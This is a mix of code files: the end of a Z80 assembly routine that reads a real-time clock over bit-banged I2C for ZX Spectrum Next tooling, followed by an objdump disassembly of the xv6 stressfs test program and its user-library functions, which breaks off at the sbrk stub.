;Could check here as well or we could allow SEND_DATA to end
//Freeze(1,5)
call START_SEQUENCE
//Freeze(1,6)
ld l,0xD1
call SEND_DATA
//Freeze(1,2)
;---------------------------------------------------
;point to the first storage space (signature) in table
LD HL,SIG
;there are 8 regs to read and 2 bytes get SIGNATURE
LD e, 10
loop_read:
//CSBreak()
call READ
Freeze(6,3)
;point to next reg
inc l
;dec number of regs
dec e
jr z, end_read
;if don´t finish, send as ACK and loop
call SEND_ACK
jr loop_read
;we just finished to read the I2C, send a NACK and STOP
end_read:
ld a,1
call SEND_ACK_NACK
CALL SDA0
CALL SCL1
CALL SDA1
; OR A ;Clear Carry (byte saved as SDA0 does XOR A and nothing else affects carry)
LD HL,(SIG)
LD DE,585Ah ;ZX=Sig
SBC HL,DE
SCF ;Flag an error
JR NZ,END_label
;-------------------------------------------------
;prepare the bytes to ESXDOS and NextOS
;prepare SECONDS
LD HL,SEC
CALL LOAD_PREPARE_AND_MULT
LD (HL),A ; Save real seconds.
srl a ;seconds / 2
ld e,a ;save the SECONDS first 5 bits in E
;prepare MINUTES
inc HL
CALL LOAD_PREPARE_AND_MULT
; 3 MSB bits fom minutes in D
ld d,a
srl d
srl d
srl d
;
; 3 LSB from minutes
RRCA
RRCA
RRCA
AND %11100000
or e ; combine with SECONDS
ld e,a ; save the 3 LSB minute bits in E
;prepare HOURS
inc HL
CALL LOAD_PREPARE_AND_MULT
RLCA
RLCA
RLCA
AND %11111000
OR D
LD D,A
;skip DAY (of week 1-7)
INC HL
INC HL ;Point at DATE
;-------------------------------------------
call LOAD_PREPARE_AND_MULT
ld c,a ; save day in c
;prepare MONTH
inc HL
CALL LOAD_PREPARE_AND_MULT
; MSB bit from month in B
RRA
RRA
RRA
RRA ;The MSB we need is in Carry now
LD B,0
RL B ;So put it at the bottom
AND %11100000
or c ; combine with day
LD C,A ;store
;prepare YEAR
inc HL
PUSH BC
CALL LOAD_PREPARE_AND_MULT
POP BC
;now we have the year in A. format 00-99 (2000 to 2099)
add a,20 ;(current year - 1980)
sla a ;get 7 LSB (range is below 127 so bit 7 = 0 means carry will be zero...
or B ;and combine with MONTH
LD B,A ;STORE the result in B
;Victor thinks this code was a signal on the Velesoft interface to tell ESXDOS that an RTC was onboard
;REMOVED for Next but, left here as you will may need to squeeze it back in on non Next Hardware. (No space left)
; push bc
; ld bc, 0x0d03
; in a,(c)
; res 0,a
; out (c),a
; pop bc
;4951 = 17/10/2016
;return without error as the Carry flag is clearead by the sla a above.
;Self modify the saved A on exit
END_label:
LD A,0
LD HL,(SIG+1) ; H will be seconds
LD L,255 ; No 100ths
; POP HL
ret
;This routine gets the BCD bytes and coverts to a number
LOAD_PREPARE_AND_MULT:
XOR A
RLD ;(HL)
ld b,a ;x10
add a,a
add a,a
add a,a
add a,b
add a,b
ld b,a
RLD ;(HL)
and 0x0F
add a,b
ret
;Actual loops to bit bang I2C
SEND_DATA:
;8 bits
ld h,8
SEND_DATA_LOOP:
;next bit
RLC L
ld a,L
CALL SDA
call PULSE_CLOCK
dec h
jr nz, SEND_DATA_LOOP
WAIT_ACK:
;free the line to wait the ACK
CALL SDA1
;But it does not check the ack it just pulse
;
JR PULSE_CLOCK
READ:
; free the data line
CALL SDA1
; lets read 8 bits
ld D,8
READ_LOOP:
;clock is high
CALL SCL1
;read the bit
ld b,PORT_DATA
in a,(c)
RRCA ;Shift direct into memory through Carry
RL (HL)
;clock is low
CALL SCL0
dec d
;go to next bit
jr nz, READ_LOOP
;finish the byte read
ret
SEND_ACK:
xor a ;a=0
SEND_ACK_NACK:
CALL SDA
call PULSE_CLOCK
;free the data line
JR SDA1
START_SEQUENCE:
;high in both i2c, before begin
ld a,1 ;Could save two bytes here change CALL SCL to CALL SCL1 to remove ld a,1
ld c, PORT
CALL SCL
CALL SDA
;high to low when clock is high
CALL SDA0
;low the clock to start sending data
JR SCL
;Poss replace
SDA0:
xor a
jr SDA
SDA1:
ld a,1
SDA:
ld b,PORT_DATA
JR SCLO
PULSE_CLOCK:
CALL SCL1
SCL0:
xor a
jr SCL
SCL1:
ld a,1
SCL:
ld b,PORT_CLOCK
SCLO: OUT (c), a
ret
defs 12 ;move onto next page
;Data storage space note that SIG is from 0x3E and 0x3F but
;counter will wrap to 0x00 to get date registers, we read time as well as no harm
SIG: defw 0
SEC: defb 0
MIN: defb 0
HOU: defb 0
DAY: defb 0
DATE: defb 0
MON: defb 0
YEA: defb 0
CON: defb 0
| 22.041763 | 128 | 0.568526 | [
"Apache-2.0"
] | Threetwosevensixseven/CSpectPlugins | RTC/AsmDebug/rtcsig.asm | 9,501 | Assembly |
_stressfs: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
#include "fs.h"
#include "fcntl.h"
int
main(int argc, char *argv[])
{
0: 8d 4c 24 04 lea 0x4(%esp),%ecx
4: 83 e4 f0 and $0xfffffff0,%esp
int fd, i;
char path[] = "stressfs0";
7: b8 30 00 00 00 mov $0x30,%eax
#include "fs.h"
#include "fcntl.h"
int
main(int argc, char *argv[])
{
c: ff 71 fc pushl -0x4(%ecx)
f: 55 push %ebp
10: 89 e5 mov %esp,%ebp
12: 57 push %edi
13: 56 push %esi
14: 53 push %ebx
15: 51 push %ecx
int fd, i;
char path[] = "stressfs0";
char data[512];
printf(1, "stressfs starting\n");
memset(data, 'a', sizeof(data));
16: 8d b5 e8 fd ff ff lea -0x218(%ebp),%esi
for(i = 0; i < 4; i++)
1c: 31 db xor %ebx,%ebx
#include "fs.h"
#include "fcntl.h"
int
main(int argc, char *argv[])
{
1e: 81 ec 20 02 00 00 sub $0x220,%esp
int fd, i;
char path[] = "stressfs0";
24: 66 89 85 e6 fd ff ff mov %ax,-0x21a(%ebp)
2b: c7 85 de fd ff ff 73 movl $0x65727473,-0x222(%ebp)
32: 74 72 65
char data[512];
printf(1, "stressfs starting\n");
35: 68 b0 08 00 00 push $0x8b0
3a: 6a 01 push $0x1
int
main(int argc, char *argv[])
{
int fd, i;
char path[] = "stressfs0";
3c: c7 85 e2 fd ff ff 73 movl $0x73667373,-0x21e(%ebp)
43: 73 66 73
char data[512];
printf(1, "stressfs starting\n");
46: e8 45 05 00 00 call 590 <printf>
memset(data, 'a', sizeof(data));
4b: 83 c4 0c add $0xc,%esp
4e: 68 00 02 00 00 push $0x200
53: 6a 61 push $0x61
55: 56 push %esi
56: e8 25 02 00 00 call 280 <memset>
5b: 83 c4 10 add $0x10,%esp
for(i = 0; i < 4; i++)
if(fork() > 0)
5e: e8 bd 03 00 00 call 420 <fork>
63: 85 c0 test %eax,%eax
65: 0f 8f bf 00 00 00 jg 12a <main+0x12a>
char data[512];
printf(1, "stressfs starting\n");
memset(data, 'a', sizeof(data));
for(i = 0; i < 4; i++)
6b: 83 c3 01 add $0x1,%ebx
6e: 83 fb 04 cmp $0x4,%ebx
71: 75 eb jne 5e <main+0x5e>
73: bf 04 00 00 00 mov $0x4,%edi
if(fork() > 0)
break;
printf(1, "write %d\n", i);
78: 83 ec 04 sub $0x4,%esp
7b: 53 push %ebx
7c: 68 c3 08 00 00 push $0x8c3
path[8] += i;
fd = open(path, O_CREATE | O_RDWR);
81: bb 14 00 00 00 mov $0x14,%ebx
for(i = 0; i < 4; i++)
if(fork() > 0)
break;
printf(1, "write %d\n", i);
86: 6a 01 push $0x1
88: e8 03 05 00 00 call 590 <printf>
path[8] += i;
8d: 89 f8 mov %edi,%eax
8f: 00 85 e6 fd ff ff add %al,-0x21a(%ebp)
fd = open(path, O_CREATE | O_RDWR);
95: 5f pop %edi
96: 58 pop %eax
97: 8d 85 de fd ff ff lea -0x222(%ebp),%eax
9d: 68 02 02 00 00 push $0x202
a2: 50 push %eax
a3: e8 c0 03 00 00 call 468 <open>
a8: 83 c4 10 add $0x10,%esp
ab: 89 c7 mov %eax,%edi
ad: 8d 76 00 lea 0x0(%esi),%esi
for(i = 0; i < 20; i++)
// printf(fd, "%d\n", i);
write(fd, data, sizeof(data));
b0: 83 ec 04 sub $0x4,%esp
b3: 68 00 02 00 00 push $0x200
b8: 56 push %esi
b9: 57 push %edi
ba: e8 89 03 00 00 call 448 <write>
printf(1, "write %d\n", i);
path[8] += i;
fd = open(path, O_CREATE | O_RDWR);
for(i = 0; i < 20; i++)
bf: 83 c4 10 add $0x10,%esp
c2: 83 eb 01 sub $0x1,%ebx
c5: 75 e9 jne b0 <main+0xb0>
// printf(fd, "%d\n", i);
write(fd, data, sizeof(data));
close(fd);
c7: 83 ec 0c sub $0xc,%esp
ca: 57 push %edi
cb: e8 80 03 00 00 call 450 <close>
printf(1, "read\n");
d0: 58 pop %eax
d1: 5a pop %edx
d2: 68 cd 08 00 00 push $0x8cd
d7: 6a 01 push $0x1
d9: e8 b2 04 00 00 call 590 <printf>
fd = open(path, O_RDONLY);
de: 59 pop %ecx
df: 8d 85 de fd ff ff lea -0x222(%ebp),%eax
e5: 5b pop %ebx
e6: 6a 00 push $0x0
e8: 50 push %eax
e9: bb 14 00 00 00 mov $0x14,%ebx
ee: e8 75 03 00 00 call 468 <open>
f3: 83 c4 10 add $0x10,%esp
f6: 89 c7 mov %eax,%edi
f8: 90 nop
f9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
for (i = 0; i < 20; i++)
read(fd, data, sizeof(data));
100: 83 ec 04 sub $0x4,%esp
103: 68 00 02 00 00 push $0x200
108: 56 push %esi
109: 57 push %edi
10a: e8 31 03 00 00 call 440 <read>
close(fd);
printf(1, "read\n");
fd = open(path, O_RDONLY);
for (i = 0; i < 20; i++)
10f: 83 c4 10 add $0x10,%esp
112: 83 eb 01 sub $0x1,%ebx
115: 75 e9 jne 100 <main+0x100>
read(fd, data, sizeof(data));
close(fd);
117: 83 ec 0c sub $0xc,%esp
11a: 57 push %edi
11b: e8 30 03 00 00 call 450 <close>
wait();
120: e8 0b 03 00 00 call 430 <wait>
exit();
125: e8 fe 02 00 00 call 428 <exit>
12a: 89 df mov %ebx,%edi
12c: e9 47 ff ff ff jmp 78 <main+0x78>
131: 66 90 xchg %ax,%ax
133: 66 90 xchg %ax,%ax
135: 66 90 xchg %ax,%ax
137: 66 90 xchg %ax,%ax
139: 66 90 xchg %ax,%ax
13b: 66 90 xchg %ax,%ax
13d: 66 90 xchg %ax,%ax
13f: 90 nop
00000140 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, char *t)
{
140: 55 push %ebp
141: 89 e5 mov %esp,%ebp
143: 53 push %ebx
144: 8b 45 08 mov 0x8(%ebp),%eax
147: 8b 4d 0c mov 0xc(%ebp),%ecx
char *os;
os = s;
while((*s++ = *t++) != 0)
14a: 89 c2 mov %eax,%edx
14c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
150: 83 c1 01 add $0x1,%ecx
153: 0f b6 59 ff movzbl -0x1(%ecx),%ebx
157: 83 c2 01 add $0x1,%edx
15a: 84 db test %bl,%bl
15c: 88 5a ff mov %bl,-0x1(%edx)
15f: 75 ef jne 150 <strcpy+0x10>
;
return os;
}
161: 5b pop %ebx
162: 5d pop %ebp
163: c3 ret
164: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
16a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
00000170 <strncpy>:
char* strncpy(char* s, char* t, int n) {
170: 55 push %ebp
int i = 0;
171: 31 d2 xor %edx,%edx
while((*s++ = *t++) != 0)
;
return os;
}
char* strncpy(char* s, char* t, int n) {
173: 89 e5 mov %esp,%ebp
175: 56 push %esi
176: 53 push %ebx
177: 8b 45 08 mov 0x8(%ebp),%eax
17a: 8b 5d 0c mov 0xc(%ebp),%ebx
17d: 8b 75 10 mov 0x10(%ebp),%esi
int i = 0;
char *os;
os = s;
while(((*s++ = *t++) != 0) && (++i < n));
180: eb 0d jmp 18f <strncpy+0x1f>
182: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
188: 83 c2 01 add $0x1,%edx
18b: 39 f2 cmp %esi,%edx
18d: 7d 0b jge 19a <strncpy+0x2a>
18f: 0f b6 0c 13 movzbl (%ebx,%edx,1),%ecx
193: 84 c9 test %cl,%cl
195: 88 0c 10 mov %cl,(%eax,%edx,1)
198: 75 ee jne 188 <strncpy+0x18>
return os;
}
19a: 5b pop %ebx
19b: 5e pop %esi
19c: 5d pop %ebp
19d: c3 ret
19e: 66 90 xchg %ax,%ax
000001a0 <strcmp>:
int
strcmp(const char *p, const char *q)
{
1a0: 55 push %ebp
1a1: 89 e5 mov %esp,%ebp
1a3: 56 push %esi
1a4: 53 push %ebx
1a5: 8b 55 08 mov 0x8(%ebp),%edx
1a8: 8b 4d 0c mov 0xc(%ebp),%ecx
while(*p && *p == *q)
1ab: 0f b6 02 movzbl (%edx),%eax
1ae: 0f b6 19 movzbl (%ecx),%ebx
1b1: 84 c0 test %al,%al
1b3: 75 1e jne 1d3 <strcmp+0x33>
1b5: eb 29 jmp 1e0 <strcmp+0x40>
1b7: 89 f6 mov %esi,%esi
1b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
p++, q++;
1c0: 83 c2 01 add $0x1,%edx
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
1c3: 0f b6 02 movzbl (%edx),%eax
p++, q++;
1c6: 8d 71 01 lea 0x1(%ecx),%esi
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
1c9: 0f b6 59 01 movzbl 0x1(%ecx),%ebx
1cd: 84 c0 test %al,%al
1cf: 74 0f je 1e0 <strcmp+0x40>
1d1: 89 f1 mov %esi,%ecx
1d3: 38 d8 cmp %bl,%al
1d5: 74 e9 je 1c0 <strcmp+0x20>
p++, q++;
return (uchar)*p - (uchar)*q;
1d7: 29 d8 sub %ebx,%eax
}
1d9: 5b pop %ebx
1da: 5e pop %esi
1db: 5d pop %ebp
1dc: c3 ret
1dd: 8d 76 00 lea 0x0(%esi),%esi
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
1e0: 31 c0 xor %eax,%eax
p++, q++;
return (uchar)*p - (uchar)*q;
1e2: 29 d8 sub %ebx,%eax
}
1e4: 5b pop %ebx
1e5: 5e pop %esi
1e6: 5d pop %ebp
1e7: c3 ret
1e8: 90 nop
1e9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
000001f0 <strncmp>:
int strncmp(const char *p, const char *q, int n) {
1f0: 55 push %ebp
1f1: 89 e5 mov %esp,%ebp
1f3: 57 push %edi
1f4: 56 push %esi
1f5: 53 push %ebx
1f6: 8b 5d 10 mov 0x10(%ebp),%ebx
1f9: 8b 75 08 mov 0x8(%ebp),%esi
1fc: 8b 7d 0c mov 0xc(%ebp),%edi
int i = 0;
while(i < n && *p == *q)
1ff: 85 db test %ebx,%ebx
201: 7e 28 jle 22b <strncmp+0x3b>
203: 0f b6 16 movzbl (%esi),%edx
206: 0f b6 0f movzbl (%edi),%ecx
209: 38 d1 cmp %dl,%cl
20b: 75 2b jne 238 <strncmp+0x48>
20d: 31 c0 xor %eax,%eax
20f: eb 13 jmp 224 <strncmp+0x34>
211: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
218: 0f b6 14 06 movzbl (%esi,%eax,1),%edx
21c: 0f b6 0c 07 movzbl (%edi,%eax,1),%ecx
220: 38 ca cmp %cl,%dl
222: 75 14 jne 238 <strncmp+0x48>
p++, q++, i++;
224: 83 c0 01 add $0x1,%eax
return (uchar)*p - (uchar)*q;
}
int strncmp(const char *p, const char *q, int n) {
int i = 0;
while(i < n && *p == *q)
227: 39 c3 cmp %eax,%ebx
229: 75 ed jne 218 <strncmp+0x28>
p++, q++, i++;
if (i < n)
return (uchar)*p - (uchar)*q;
else
return 0;
}
22b: 5b pop %ebx
while(i < n && *p == *q)
p++, q++, i++;
if (i < n)
return (uchar)*p - (uchar)*q;
else
return 0;
22c: 31 c0 xor %eax,%eax
}
22e: 5e pop %esi
22f: 5f pop %edi
230: 5d pop %ebp
231: c3 ret
232: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
int strncmp(const char *p, const char *q, int n) {
int i = 0;
while(i < n && *p == *q)
p++, q++, i++;
if (i < n)
return (uchar)*p - (uchar)*q;
238: 0f b6 c2 movzbl %dl,%eax
else
return 0;
}
23b: 5b pop %ebx
int strncmp(const char *p, const char *q, int n) {
int i = 0;
while(i < n && *p == *q)
p++, q++, i++;
if (i < n)
return (uchar)*p - (uchar)*q;
23c: 29 c8 sub %ecx,%eax
else
return 0;
}
23e: 5e pop %esi
23f: 5f pop %edi
240: 5d pop %ebp
241: c3 ret
242: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
249: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000250 <strlen>:
uint
strlen(char *s)
{
250: 55 push %ebp
251: 89 e5 mov %esp,%ebp
253: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
for(n = 0; s[n]; n++)
256: 80 39 00 cmpb $0x0,(%ecx)
259: 74 12 je 26d <strlen+0x1d>
25b: 31 d2 xor %edx,%edx
25d: 8d 76 00 lea 0x0(%esi),%esi
260: 83 c2 01 add $0x1,%edx
263: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1)
267: 89 d0 mov %edx,%eax
269: 75 f5 jne 260 <strlen+0x10>
;
return n;
}
26b: 5d pop %ebp
26c: c3 ret
uint
strlen(char *s)
{
int n;
for(n = 0; s[n]; n++)
26d: 31 c0 xor %eax,%eax
;
return n;
}
26f: 5d pop %ebp
270: c3 ret
271: eb 0d jmp 280 <memset>
273: 90 nop
274: 90 nop
275: 90 nop
276: 90 nop
277: 90 nop
278: 90 nop
279: 90 nop
27a: 90 nop
27b: 90 nop
27c: 90 nop
27d: 90 nop
27e: 90 nop
27f: 90 nop
00000280 <memset>:
void*
memset(void *dst, int c, uint n)
{
280: 55 push %ebp
281: 89 e5 mov %esp,%ebp
283: 57 push %edi
284: 8b 55 08 mov 0x8(%ebp),%edx
}
static inline void
stosb(void *addr, int data, int cnt)
{
asm volatile("cld; rep stosb" :
287: 8b 4d 10 mov 0x10(%ebp),%ecx
28a: 8b 45 0c mov 0xc(%ebp),%eax
28d: 89 d7 mov %edx,%edi
28f: fc cld
290: f3 aa rep stos %al,%es:(%edi)
stosb(dst, c, n);
return dst;
}
292: 89 d0 mov %edx,%eax
294: 5f pop %edi
295: 5d pop %ebp
296: c3 ret
297: 89 f6 mov %esi,%esi
299: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
000002a0 <strchr>:
char*
strchr(const char *s, char c)
{
2a0: 55 push %ebp
2a1: 89 e5 mov %esp,%ebp
2a3: 53 push %ebx
2a4: 8b 45 08 mov 0x8(%ebp),%eax
2a7: 8b 5d 0c mov 0xc(%ebp),%ebx
for(; *s; s++)
2aa: 0f b6 10 movzbl (%eax),%edx
2ad: 84 d2 test %dl,%dl
2af: 74 1d je 2ce <strchr+0x2e>
if(*s == c)
2b1: 38 d3 cmp %dl,%bl
2b3: 89 d9 mov %ebx,%ecx
2b5: 75 0d jne 2c4 <strchr+0x24>
2b7: eb 17 jmp 2d0 <strchr+0x30>
2b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
2c0: 38 ca cmp %cl,%dl
2c2: 74 0c je 2d0 <strchr+0x30>
}
char*
strchr(const char *s, char c)
{
for(; *s; s++)
2c4: 83 c0 01 add $0x1,%eax
2c7: 0f b6 10 movzbl (%eax),%edx
2ca: 84 d2 test %dl,%dl
2cc: 75 f2 jne 2c0 <strchr+0x20>
if(*s == c)
return (char*)s;
return 0;
2ce: 31 c0 xor %eax,%eax
}
2d0: 5b pop %ebx
2d1: 5d pop %ebp
2d2: c3 ret
2d3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
2d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
000002e0 <gets>:
char*
gets(char *buf, int max)
{
2e0: 55 push %ebp
2e1: 89 e5 mov %esp,%ebp
2e3: 57 push %edi
2e4: 56 push %esi
2e5: 53 push %ebx
int i, cc;
char c;
for(i=0; i+1 < max; ){
2e6: 31 f6 xor %esi,%esi
cc = read(0, &c, 1);
2e8: 8d 7d e7 lea -0x19(%ebp),%edi
return 0;
}
char*
gets(char *buf, int max)
{
2eb: 83 ec 1c sub $0x1c,%esp
int i, cc;
char c;
for(i=0; i+1 < max; ){
2ee: eb 29 jmp 319 <gets+0x39>
cc = read(0, &c, 1);
2f0: 83 ec 04 sub $0x4,%esp
2f3: 6a 01 push $0x1
2f5: 57 push %edi
2f6: 6a 00 push $0x0
2f8: e8 43 01 00 00 call 440 <read>
if(cc < 1)
2fd: 83 c4 10 add $0x10,%esp
300: 85 c0 test %eax,%eax
302: 7e 1d jle 321 <gets+0x41>
break;
buf[i++] = c;
304: 0f b6 45 e7 movzbl -0x19(%ebp),%eax
308: 8b 55 08 mov 0x8(%ebp),%edx
30b: 89 de mov %ebx,%esi
if(c == '\n' || c == '\r')
30d: 3c 0a cmp $0xa,%al
for(i=0; i+1 < max; ){
cc = read(0, &c, 1);
if(cc < 1)
break;
buf[i++] = c;
30f: 88 44 1a ff mov %al,-0x1(%edx,%ebx,1)
if(c == '\n' || c == '\r')
313: 74 1b je 330 <gets+0x50>
315: 3c 0d cmp $0xd,%al
317: 74 17 je 330 <gets+0x50>
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
319: 8d 5e 01 lea 0x1(%esi),%ebx
31c: 3b 5d 0c cmp 0xc(%ebp),%ebx
31f: 7c cf jl 2f0 <gets+0x10>
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
321: 8b 45 08 mov 0x8(%ebp),%eax
324: c6 04 30 00 movb $0x0,(%eax,%esi,1)
return buf;
}
328: 8d 65 f4 lea -0xc(%ebp),%esp
32b: 5b pop %ebx
32c: 5e pop %esi
32d: 5f pop %edi
32e: 5d pop %ebp
32f: c3 ret
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
330: 8b 45 08 mov 0x8(%ebp),%eax
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
333: 89 de mov %ebx,%esi
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
335: c6 04 30 00 movb $0x0,(%eax,%esi,1)
return buf;
}
339: 8d 65 f4 lea -0xc(%ebp),%esp
33c: 5b pop %ebx
33d: 5e pop %esi
33e: 5f pop %edi
33f: 5d pop %ebp
340: c3 ret
341: eb 0d jmp 350 <stat>
343: 90 nop
344: 90 nop
345: 90 nop
346: 90 nop
347: 90 nop
348: 90 nop
349: 90 nop
34a: 90 nop
34b: 90 nop
34c: 90 nop
34d: 90 nop
34e: 90 nop
34f: 90 nop
00000350 <stat>:
int
stat(char *n, struct stat *st)
{
350: 55 push %ebp
351: 89 e5 mov %esp,%ebp
353: 56 push %esi
354: 53 push %ebx
int fd;
int r;
fd = open(n, O_RDONLY);
355: 83 ec 08 sub $0x8,%esp
358: 6a 00 push $0x0
35a: ff 75 08 pushl 0x8(%ebp)
35d: e8 06 01 00 00 call 468 <open>
if(fd < 0)
362: 83 c4 10 add $0x10,%esp
365: 85 c0 test %eax,%eax
367: 78 27 js 390 <stat+0x40>
return -1;
r = fstat(fd, st);
369: 83 ec 08 sub $0x8,%esp
36c: ff 75 0c pushl 0xc(%ebp)
36f: 89 c3 mov %eax,%ebx
371: 50 push %eax
372: e8 09 01 00 00 call 480 <fstat>
377: 89 c6 mov %eax,%esi
close(fd);
379: 89 1c 24 mov %ebx,(%esp)
37c: e8 cf 00 00 00 call 450 <close>
return r;
381: 83 c4 10 add $0x10,%esp
384: 89 f0 mov %esi,%eax
}
386: 8d 65 f8 lea -0x8(%ebp),%esp
389: 5b pop %ebx
38a: 5e pop %esi
38b: 5d pop %ebp
38c: c3 ret
38d: 8d 76 00 lea 0x0(%esi),%esi
int fd;
int r;
fd = open(n, O_RDONLY);
if(fd < 0)
return -1;
390: b8 ff ff ff ff mov $0xffffffff,%eax
395: eb ef jmp 386 <stat+0x36>
397: 89 f6 mov %esi,%esi
399: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
000003a0 <atoi>:
return r;
}
int
atoi(const char *s)
{
3a0: 55 push %ebp
3a1: 89 e5 mov %esp,%ebp
3a3: 53 push %ebx
3a4: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
n = 0;
while('0' <= *s && *s <= '9')
3a7: 0f be 11 movsbl (%ecx),%edx
3aa: 8d 42 d0 lea -0x30(%edx),%eax
3ad: 3c 09 cmp $0x9,%al
3af: b8 00 00 00 00 mov $0x0,%eax
3b4: 77 1f ja 3d5 <atoi+0x35>
3b6: 8d 76 00 lea 0x0(%esi),%esi
3b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
n = n*10 + *s++ - '0';
3c0: 8d 04 80 lea (%eax,%eax,4),%eax
3c3: 83 c1 01 add $0x1,%ecx
3c6: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax
atoi(const char *s)
{
int n;
n = 0;
while('0' <= *s && *s <= '9')
3ca: 0f be 11 movsbl (%ecx),%edx
3cd: 8d 5a d0 lea -0x30(%edx),%ebx
3d0: 80 fb 09 cmp $0x9,%bl
3d3: 76 eb jbe 3c0 <atoi+0x20>
n = n*10 + *s++ - '0';
return n;
}
3d5: 5b pop %ebx
3d6: 5d pop %ebp
3d7: c3 ret
3d8: 90 nop
3d9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
000003e0 <memmove>:
void*
memmove(void *vdst, void *vsrc, int n)
{
3e0: 55 push %ebp
3e1: 89 e5 mov %esp,%ebp
3e3: 56 push %esi
3e4: 53 push %ebx
3e5: 8b 5d 10 mov 0x10(%ebp),%ebx
3e8: 8b 45 08 mov 0x8(%ebp),%eax
3eb: 8b 75 0c mov 0xc(%ebp),%esi
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
3ee: 85 db test %ebx,%ebx
3f0: 7e 14 jle 406 <memmove+0x26>
3f2: 31 d2 xor %edx,%edx
3f4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
*dst++ = *src++;
3f8: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx
3fc: 88 0c 10 mov %cl,(%eax,%edx,1)
3ff: 83 c2 01 add $0x1,%edx
{
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
402: 39 da cmp %ebx,%edx
404: 75 f2 jne 3f8 <memmove+0x18>
*dst++ = *src++;
return vdst;
}
406: 5b pop %ebx
407: 5e pop %esi
408: 5d pop %ebp
409: c3 ret
40a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
00000410 <max>:
int max(int a, int b) {
410: 55 push %ebp
411: 89 e5 mov %esp,%ebp
413: 8b 55 08 mov 0x8(%ebp),%edx
416: 8b 45 0c mov 0xc(%ebp),%eax
if (b > a) return b;
else return a;
}
419: 5d pop %ebp
41a: 39 d0 cmp %edx,%eax
41c: 0f 4c c2 cmovl %edx,%eax
41f: c3 ret
00000420 <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
420: b8 01 00 00 00 mov $0x1,%eax
425: cd 40 int $0x40
427: c3 ret
00000428 <exit>:
SYSCALL(exit)
428: b8 02 00 00 00 mov $0x2,%eax
42d: cd 40 int $0x40
42f: c3 ret
00000430 <wait>:
SYSCALL(wait)
430: b8 03 00 00 00 mov $0x3,%eax
435: cd 40 int $0x40
437: c3 ret
00000438 <pipe>:
SYSCALL(pipe)
438: b8 04 00 00 00 mov $0x4,%eax
43d: cd 40 int $0x40
43f: c3 ret
00000440 <read>:
SYSCALL(read)
440: b8 05 00 00 00 mov $0x5,%eax
445: cd 40 int $0x40
447: c3 ret
00000448 <write>:
SYSCALL(write)
448: b8 10 00 00 00 mov $0x10,%eax
44d: cd 40 int $0x40
44f: c3 ret
00000450 <close>:
SYSCALL(close)
450: b8 15 00 00 00 mov $0x15,%eax
455: cd 40 int $0x40
457: c3 ret
00000458 <kill>:
SYSCALL(kill)
458: b8 06 00 00 00 mov $0x6,%eax
45d: cd 40 int $0x40
45f: c3 ret
00000460 <exec>:
SYSCALL(exec)
460: b8 07 00 00 00 mov $0x7,%eax
465: cd 40 int $0x40
467: c3 ret
00000468 <open>:
SYSCALL(open)
468: b8 0f 00 00 00 mov $0xf,%eax
46d: cd 40 int $0x40
46f: c3 ret
00000470 <mknod>:
SYSCALL(mknod)
470: b8 11 00 00 00 mov $0x11,%eax
475: cd 40 int $0x40
477: c3 ret
00000478 <unlink>:
SYSCALL(unlink)
478: b8 12 00 00 00 mov $0x12,%eax
47d: cd 40 int $0x40
47f: c3 ret
00000480 <fstat>:
SYSCALL(fstat)
480: b8 08 00 00 00 mov $0x8,%eax
485: cd 40 int $0x40
487: c3 ret
00000488 <link>:
SYSCALL(link)
488: b8 13 00 00 00 mov $0x13,%eax
48d: cd 40 int $0x40
48f: c3 ret
00000490 <mkdir>:
SYSCALL(mkdir)
490: b8 14 00 00 00 mov $0x14,%eax
495: cd 40 int $0x40
497: c3 ret
00000498 <chdir>:
SYSCALL(chdir)
498: b8 09 00 00 00 mov $0x9,%eax
49d: cd 40 int $0x40
49f: c3 ret
000004a0 <dup>:
SYSCALL(dup)
4a0: b8 0a 00 00 00 mov $0xa,%eax
4a5: cd 40 int $0x40
4a7: c3 ret
000004a8 <getpid>:
SYSCALL(getpid)
4a8: b8 0b 00 00 00 mov $0xb,%eax
4ad: cd 40 int $0x40
4af: c3 ret
000004b0 <sbrk>:
SYSCALL(sbrk)
